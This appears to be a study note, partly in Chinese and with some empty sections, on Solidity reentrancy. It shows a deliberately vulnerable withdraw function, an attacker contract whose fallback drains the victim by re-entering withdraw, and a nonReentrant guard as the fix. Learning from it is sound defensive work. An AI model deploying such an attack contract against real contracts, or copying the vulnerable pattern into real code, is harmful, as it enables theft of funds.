Reentrancy Attack

Principle

Reentrancy Attack 主要遵循以下原理:

也可参考下图:
Pasted image 20231010111141.png

receive() and fallback()

Example

contract DepositFunds {
    mapping(address => uint) public balances;
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
	    // 判断是否能取出钱的条件是 balances[msg.sender] > 0
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

		// 而 balances[msg.sender] 在取出钱之后才清零
        balances[msg.sender] = 0;
    }

}

对于上述漏洞合约,可以使用以下攻击合约进行攻击:

contract Attack {
    DepositFunds public depositFunds;
    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // 当 DepositFunds 调用 call 函数时
    // 因为不存在 receive 函数
    // 所以会调用 fallback 函数
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw(); // 反复取钱
        }
    }
    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }
}

Incidents

Solutions

nonReentrant

constructor() {
	_status = _NOT_ENTERED;
}
modifier nonReentrant() {
	_nonReentrantBefore();
	_;
	_nonReentrantAfter();
}
function _nonReentrantBefore() private {
	require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
	_status = _ENTERED;
}
function _nonReentrantAfter() private {
	_status = _NOT_ENTERED;
}

编码习惯

始终要假设你发送资金的接收方可能是另一个合约,而不仅仅是一个常规地址。因此,它可以在其可支付的回退方法中执行代码并重新进入你的合约,可能会破坏你的状态/逻辑。